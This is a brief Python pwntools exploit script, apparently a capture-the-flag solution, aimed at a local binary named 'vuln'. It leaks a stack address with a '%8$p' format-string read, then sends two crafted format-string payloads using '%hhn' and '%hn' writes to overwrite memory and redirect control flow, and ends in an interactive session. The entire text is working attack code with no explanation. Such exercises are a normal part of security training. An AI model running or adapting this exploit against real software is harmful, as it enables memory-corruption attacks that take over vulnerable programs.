#!/usr/bin/env python
from pwn import *
context.arch = 'amd64'

r = process('./vuln')

r.sendline('%8$p')
off = int('0x' + r.recvuntil('\n')[-3:-1],16) - 0x18

pay1 = '%' + str(off) + 'c%6$hhn' 
pay2 = '%' + str(int('0x6e9',16)) + 'c%8$hn'

r.sendline(pay1)
raw_input('#')
r.sendline(pay2)

r.interactive()
